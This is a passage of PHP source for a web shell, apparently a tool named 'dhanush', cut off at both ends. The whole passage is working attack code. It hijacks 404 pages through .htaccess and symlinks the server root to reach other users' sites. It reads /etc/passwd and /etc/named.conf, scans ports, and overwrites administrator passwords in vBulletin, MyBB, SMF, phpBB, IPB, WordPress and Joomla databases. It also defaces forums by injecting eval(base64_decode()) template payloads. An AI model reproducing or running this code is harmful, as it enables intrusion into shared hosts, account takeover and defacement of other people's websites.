404 Page</center>\";\r\n\t}\r\n\telse if(strlen(\$ind) != 0)\r\n\t{\r\n\t\tif(\$myfile = fopen(\".htaccess\", \"a\"))\r\n\t\t{\r\n\t\t\tfwrite(\$myfile, \"ErrorDocument 404 \".\$url.\"404.html \\n\\r\"); \r\n\t\r\n\t\t\tif(\$myfilee = fopen(\"404.html\", \"w+\"))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$myfilee, base64_decode(\$ind));\r\n\t\t\t\r\n\t\t\t\tfclose(\$myfilee);\r\n\t\t\t\techo \"<center><font class=txt>Done setting 404 Page !!!!</font></center>\";\r\n\t\t\t}\r\n\t\t\tfclose(\$myfile);\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \"<center>Cannot Set 404 Page</center>\";\r\n\t\t}\r\n\t}\r\n\telse\r\n\t\techo \"<center>Nothing Specified in the shell</center>\";\r\n}\r\nelse if(isset(\$_GET[\"domains\"])) \r\n{\r\n\t?><center><iframe src=\"<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>\" width=\"80%\" height=\"1000px\"></iframe></center><?php \r\n}\r\nelse if(isset(\$_GET[\"symlink\"])) \r\n{\r\n\t\$d0mains = @file(\"/etc/named.conf\");\r\n\t\$url = 'http://'.\$_SERVER['SERVER_NAME'].\$_SERVER['REQUEST_URI'];\r\n\t\$path=explode('/',\$url);\r\n\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\tif(\$d0mains)\r\n\t{ \r\n   \t\t@mkdir(\"dhanush\",0777);\r\n\t\t@chdir(\"dhanush\");\r\n\t\texecmd(\"ln -s / root\");\r\n\t\t\$file3 = 'Options all \r\n\t DirectoryIndex Sux.html \r\n\t AddType text/plain .php \r\n\t AddHandler server-parsed .php \r\n\t  AddType text/plain .html \r\n\t AddHandler txt .html \r\n\t Require None \r\n\t Satisfy Any        \r\n\t';\r\n\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t@fclose(\$fp3);\r\n\t\techo \"<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>\";\r\n\t\t\t\t\r\n\t\t\$dcount = 1;\r\n\t\tforeach(\$d0mains as \$d0main)\r\n\t\t{\r\n\t\t\tif(eregi(\"zone\",\$d0main))\r\n\t\t\t{\r\n\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\tflush();\r\n\t\t\t\t\t\r\n\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t{ \r\n\t\t\t\t\t\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\n\t\t\t\t\t\t\r\n\t\t\t\t\techo \"<tr align=center><td><font class=txt>\" . \$dcount . \"</font></td><td align=left><a href=http://www.\".\$domains[1][0].\"/><font class=txt>\".\$domains[1][0].\"</font></a></td><td><font class=txt>\".\$user['name'].\"</font></td><td><a href=\".\$url.\"dhanush/root/home/\".\$user['name'].\"/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=\".\$domains[1][0].\" target=_blank>info</a></font></td></tr>\"; flush();\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\techo \"</table>\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(stristr(php_uname(),\"Linux\"))\r\n\t\t{\r\n\t\t\t?>\r\n\t\t\t<div style=\"float:left;position:fixed;\">\r\n\t\t\t<form>\r\n\t\t\t<table cellpadding=\"9\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th colspan=\"2\">Get User Name</th>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>Enter Website Name :</td>\r\n\t\t\t\t\t<td><input type=\"text\" name=\"sitename\" value=\"sitename.com\" class=\"sbox\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\" colspan=\"2\"><input type=\"button\" onClick=\"getname(sitename.value)\" value=\"   Get IT  \" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 align=center><div style=\"width:250px;\" id=\"showsite\"></div></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t\t<?php\r\n\t\t\t\$TEST=@file('/etc/passwd');\r\n\t\t\tif (\$TEST) \r\n\t\t\t{\r\n\t\t\t\t@mkdir(\"dhanush\",0777);\r\n\t\t\t\t@chdir(\"dhanush\");\r\n\t\t\t\texecmd(\"ln -s / root\");\r\n\t\t\t\t\$file3 = 'Options all \r\n\t\t\t\t DirectoryIndex Sux.html \r\n\t\t\t\t AddType text/plain .php \r\n\t\t\t\t AddHandler server-parsed .php \r\n\t\t\t\t  AddType text/plain .html \r\n\t\t\t\t AddHandler txt .html \r\n\t\t\t\t Require None \r\n\t\t\t\t Satisfy Any        \r\n\t\t\t\t';\r\n\t\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t\t\t@fclose(\$fp3);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\techo \"<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\$dcount = 1;\r\n\t\t\t\t\$file = fopen(\"/etc/passwd\", \"r\");\r\n\t\t\t\t//Output a line of the file until the end is reached\r\n\t\t\t\twhile(!feof(\$file))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr><td align=center><font size=3 class=txt>\" . \$dcount . \"</td><td align=center><font size=3 class=txt>\" . \$matches . \"</td>\";\r\n\t\t\t\t\techo \"<td align=center><font size=3 class=txt><a href=\".\$url.\"dhanush/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$file);\r\n\t\t\t\t\t\t\r\n\t\t\t\techo \"</table>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t@mkdir(\"dhanush\",0777);\r\n\t\t\t\t@chdir(\"dhanush\");\r\n\t\t\t\texecmd(\"ln -s / root\");\r\n\t\t\t\t\$file3 = 'Options all \r\n\t\t\t\t DirectoryIndex Sux.html \r\n\t\t\t\t AddType text/plain .php \r\n\t\t\t\t AddHandler server-parsed .php \r\n\t\t\t\t  AddType text/plain .html \r\n\t\t\t\t AddHandler txt .html \r\n\t\t\t\t Require None \r\n\t\t\t\t Satisfy Any        \r\n\t\t\t\t';\r\n\t\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t\t\t@fclose(\$fp3);\r\n\t\t\t\t\r\n\t\t\t\techo \"<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\$temp = \"\";\r\n\t\t\t\t\$val1 = 0;\r\n\t\t\t\t\$val2 = 1000;\r\n\t\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\t\tif (\$uid)\r\n\t\t\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t\t }\r\n\t\t\t\t echo '<br/>';\r\n\t\t\t\t \$temp = trim(\$temp);\r\n\t\t\t\t \r\n\t\t\t\t \$file5 = fopen(\"test.txt\",\"w\");\r\n\t\t\t\t fputs(\$file5,\$temp);\r\n\t\t\t\t fclose(\$file5);\r\n\t\t\t\t\t \r\n\t\t\t\t \$dcount = 1;\r\n\t\t\t\t \$file = fopen(\"test.txt\", \"r\");\r\n\t\t\t\t while(!feof(\$file))\r\n\t\t\t\t {\r\n\t\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr><td align=center><font size=3 class=txt>\" . \$dcount . \"</td><td align=center><font size=3 class=txt>\" . \$matches . \"</td>\";\r\n\t\t\t\t\techo \"<td align=center><font size=3 class=txt><a href=\".\$url.\"dhanush/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t }\r\n\t\t\t\t\tfclose(\$file);\r\n\t\t\t\t\techo \"</table>\";\r\n\t\t\t\t\tunlink(\"test.txt\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t\techo \"<center><font size=4 >Cannot create Symlink</font></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['host']) && isset(\$_GET['protocol']))\r\n{\r\n\techo \"Open Ports: \";\r\n\t\$host = \$_GET['host'];\r\n\t\$proto = \$_GET['protocol'];\r\n\t\$myports = array(\"21\",\"22\",\"23\",\"25\",\"59\",\"80\",\"113\",\"135\",\"445\",\"1025\",\"5000\",\"5900\",\"6660\",\"6661\",\"6662\",\"6663\",\"6665\",\"6666\",\"6667\",\"6668\",\"6669\",\"7000\",\"8080\",\"8018\");\r\n\tfor(\$current = 0; \$current <= 23; \$current++)\r\n\t{\r\n\t\t\$currents = \$myports[\$current];\r\n\t\t\$service = getservbyport(\$currents, \$proto);\r\n\t\t// Try to connect to port\r\n\t\t\$result = fsockopen(\$host, \$currents, \$errno, \$errstr, 1);\r\n\t\t// Show results\r\n\t\tif(\$result)\r\n\t\t\techo \"<font class=txt>\$currents, </font>\";\r\n\t}\r\n}\r\nelse if(isset(\$_REQUEST['forumpass']))\r\n{\r\n\t\t\$localhost =  \$_GET['f1']; \r\n\t\t\$database =  \$_GET['f2']; \r\n\t\t\$username =  \$_GET['f3']; \r\n\t\t\$password =  \$_GET['f4']; \r\n\t\t\$prefix    =  \$_GET['prefix'];\r\n\t\t\$newpass = \$_GET['newpass'];\r\n\t\t\$uid = \$_GET['uid'];\r\n\t\t\r\n\t\tif(\$_GET['forums'] == \"vb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"eghjghrtd\";\r\n\t\t\t\$newpassword = md5(md5(\$newpass) . \$salt);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update user set password = '\$newpassword', salt = '\$salt' where userid = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"user set password = '\$newpassword', salt = '\$salt' where userid = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"mybb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"jeghj\";\r\n\t\t\t\$newpassword = md5(md5(\$salt).md5(\$newpass));\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update mybb_users set password = '\$newpassword', salt = '\$salt' where uid = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set password = '\$newpassword', salt = '\$salt' where uid = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"smf\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\t\t\t\t\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t{\r\n\t\t\t\t\$result = mysql_query(\"select member_name from smf_members where id_member = \$uid\");\r\n\t\t\t\t\$row = mysql_fetch_array(\$result);\r\n\t\t\t\t\$membername = \$row['member_name'];\r\n\t\t\t\t\$newpassword = sha1(strtolower(\$membername).\$newpass);\r\n\t\t\t\t\$sql = mysql_query(\"update smf_members set passwd = '\$newpassword' where id_member = '\$uid'\");\r\n\t\t\t}\r\n\t\t\telse\r\n\r\n\t\t\t{\r\n\t\t\t\t\$result = mysql_query(\"select member_name from \".\$prefix.\"members where id_member = \$uid\");\r\n\t\t\t\t\$row = mysql_fetch_array(\$result);\r\n\t\t\t\t\$membername = \$row['member_name'];\r\n\t\t\t\t\$newpassword = sha1(strtolower(\$membername).\$newpass);\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"members set passwd = '\$newpassword' where id_member = '\$uid'\");\r\n\t\t\t}\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"phpbb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_POST['newipbpass'];\r\n\t\t\t\$uid = \$_POST['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\r\n\t\t\t\$newpassword = md5(\$newpass);\r\n\t\t\tif(empty(\$prefix) || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update phpb_users set user_password = '\$newpassword' where user_id = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set user_password = '\$newpassword' where user_id = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"ipb\")\r\n\t\t{\r\n\t\t\t\$newpass = \$_POST['newipbpass'];\r\n\t\t\t\$uid = \$_POST['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"eghj\";\r\n\t\t\t\$newpassword = md5(md5(\$salt).md5(\$newpass));\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update members set members_pass_hash = '\$newpassword', members_pass_salt = '\$salt' where member_id = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"members set members_pass_hash = '\$newpassword', members_pass_salt = '\$salt' where member_id = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"wp\")\r\n\t\t{\t\r\n\t\t\t\$uname = \$_GET['uname'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\r\n\t\t\t\$newpassword = md5(\$newpass);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update wp_users set user_pass = '\$newpassword', user_login = '\$uname' where ID = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set user_pass = '\$newpassword', user_login = '\$uname' where ID = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"joomla\")\r\n\t\t{\t\r\n\t\t\t\$newjoomlapass = \$_GET['newjoomlapass'];\r\n\t\t\t\$joomlauname = \$_GET['username'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\r\n\t\t\t\$newpassword = md5(\$newjoomlapass);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update jos_users set password = '\$newpassword', username = '\$joomlauname' where name = 'Super User'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set password = '\$newpassword', username = '\$joomlauname' where name = 'Super User' OR name = 'Administrator'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n}\r\nelse if(isset(\$_POST['forumdeface']))\r\n{\r\n\t\$localhost =  \$_POST['f1']; \r\n\t\$database =  \$_POST['f2']; \r\n\t\$username =  \$_POST['f3']; \r\n\t\$password =  \$_POST['f4']; \r\n\t\$index    =  \$_POST['index'];\r\n\t\$prefix    =  \$_POST['tableprefix'];\r\n\t\r\n\tif(\$_POST['forumdeface'] == \"vb\")\r\n\t{\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);  \r\n\t\t\$index=str_replace('\"','\\\\\"',\$index); \r\n\t\t\$attack  = \"{\\\${eval(base64_decode(\\'\"; \r\n\t\t\$attack .= base64_encode(\"echo \\\"\$index\\\";\"); \r\n\t\t\$attack .= \"\\'))}}{\\\${exit()}}</textarea>\"; \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$query = \"UPDATE template SET template = '\$attack'\"; \r\n\t\telse\r\n\t\t\t\$query = \"UPDATE \".\$prefix.\"template SET template = '\$attack'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con); \r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font  size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"mybb\")\r\n\t{\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);  \r\n\t\t\$attack  = \"{\\\${eval(base64_decode(\\'\"; \r\n\t\t\$attack .= base64_encode(\"echo \\\"\$index\\\";\"); \r\n\t\t\$attack .= \"\\'))}}{\\\${exit()}}</textarea>\"; \r\n\t\t\$attack  = str_replace('\"',\"\\\\'\",\$attack);\r\n\t\t\t\r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$query = \"UPDATE mybb_templates SET template = '\$attack'\"; \r\n\t\telse\r\n\t\t\$query = \"UPDATE \".\$prefix.\"templates SET template = '\$attack'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con);\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font  size=4><blink>Cannot Deface Mybb Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"smf\")\r\n\t{\r\n\t\t\$head    =  \$_POST['head'];\r\n\t\t\$catid    =  \$_POST['f5'];\r\n\t\t\t\t\t\t\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);  \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$query = \"UPDATE boards SET name='\$head', description='\$index' WHERE id_cat='\$catid'\"; \r\n\t\telse\r\n\t\t\t\$query = \"UPDATE \".\$prefix.\"boards SET name='\$head', description='\$index' WHERE id_cat='\$catid'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con);\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font  size=4><blink>Cannot Deface SMF Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"ipb\")\r\n\t{\r\n\t\t\$head    =  \$_POST['head'];\r\n\t\t\$catid    =  \$_POST['f5'];\r\n\t\t\t\t\t\t\t\r\n\t\t\$IPB = \"forums\";\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);\r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$result =@mysql_query(\$query = \"UPDATE \$IPB SET name = '\$head', description = '\$index' where id = '\$catid'\"); \r\n\t\telse\r\n\t\t\t\$result =@mysql_query(\$query = \"UPDATE \$prefix.\$IPB SET name = '\$head', description = '\$index' where id = '\$catid'\");\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font  size=4><blink>Cannot Deface Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"wp\")\r\n\t{\r\n\t\t\$catid = \$_POST['f5'];\r\n\t\t\$head    =  \$_POST['head'];\r\n\t\t\t\t\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);  \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t{\r\n\t\t\tif(isset(\$_POST[\"alll\"]) && \$_POST[\"alll\"] == \"All\")\r\n\t\t\t\t\$query = \"UPDATE wp_posts SET post_title='\$head', post_content='\$index'\"; \r\n\t\t\telse\r\n\t\t\t\t\$query = \"UPDATE wp_posts SET post_title='\$head', post_content='\$index' WHERE ID='\$catid'\"; \r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(isset(\$_POST[\"alll\"]) && \$_POST[\"alll\"] == \"All\")\r\n\t\t\t\t\$query = \"UPDATE \".\$prefix.\"posts SET post_title='\$head', post_content='\$index'\";\r\n\t\t\telse\r\n\t\t\t\t\$query = \"UPDATE \".\$prefix.\"posts SET post_title='\$head', post_content='\$index' WHERE ID='\$catid'\";\r\n\t\t\t\t\t\r\n\t\t}\r\n\t\t\$result =@mysql_query(\$query,\$con) or mysql_error();\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font  size=4><blink>Cannot Deface Wordpress</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"joomla\")\r\n\t{\r\n\t\t\$site_url = \$_POST['siteurl'];\r\n\t\t\$dbprefix = \$_POST['tableprefix'];\r\n\t\t\$dbname =  \$_POST['f2']; \r\n\t\t\$h=\"<? echo(stripslashes(base64_decode('\".urlencode(base64_encode(str_replace(\"'\",\"'\",(\$_POST['index'])))).\"'))); exit; ?>\";\r\n\t\t\r\n\t\tfunction randomt() \r\n\t\t{ \r\n\t\t\t\$chars = \"abcdefghijkmnopqrstuvwxyz023456789\"; \r\n\t\t\tsrand((double)microtime()*1000000); \r\n\t\t\t\$i = 0; \r\n\t\t\t\$pass = '' ; \r\n\t\t\t\t\t\r\n\t\t\twhile (\$i <= 7) \r\n\t\t\t{ \r\n\t\t\t\t\$num = rand() % 33; \r\n\t\t\t\t\$tmp = substr(\$chars, \$num, 1); \r\n\t\t\t\t\$pass = \$pass . \$tmp; \r\n\t\t\t\t\$i++; \r\n\t\t\t} \r\n\t\t\t\t\t\r\n\t\t\treturn \$pass; \r\n\t\t}\r\n\t\tfunction entre2v2(\$text,\$marqueurDebutLien,\$marqueurFinLien,\$i=1)\r\n\t\t{\r\n\t\t\t\$ar0=explode(\$marqueurDebutLien, \$text);\r\n\t\t\t\$ar1=explode(\$marqueurFinLien, \$ar0[\$i]);\r\n\t\t\t\$ar=trim(\$ar1[0]);\r\n\t\t\treturn \$ar;\r\n\t\t}\r\n\t\t\$co=randomt();\r\n\t\t\t\t\t\r\n\t\t\$link=mysql_connect(\$localhost,\$username,\$password) ;\r\n\t\tmysql_select_db(\$dbname,\$link);\r\n\t\t\t\t\r\n\t    \$tryChaningInfo = mysql_query(\"UPDATE \".\$dbprefix.\"users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'\");\r\n\t\t\t\t\t\t\t\t\t\t\t \r\n\t\t\$req =mysql_query(\"SELECT * from  `\".\$dbprefix.\"extensions` \");\r\n\t\t\t\t\t\t \r\n\t\tif ( \$req )\r\n\t\t{\r\n\t\t\t\$req =mysql_query(\"SELECT * from  `\".\$dbprefix.\"template_styles` WHERE client_id='0' and home='1'\");\r\n\t\t\t\$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_name=\$data[\"template\"];\r\n\t\t\t\r\n\t\t\t\$req =mysql_query(\"SELECT * from  `\".\$dbprefix.\"extensions` WHERE name='\".\$template_name.\"'\");\r\n\t\t\t \$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_id=\$data[\"extension_id\"];\r\n\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$return=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"return\" value=\"','\"');\r\n\t\t\t\$hidden=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',4);\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, 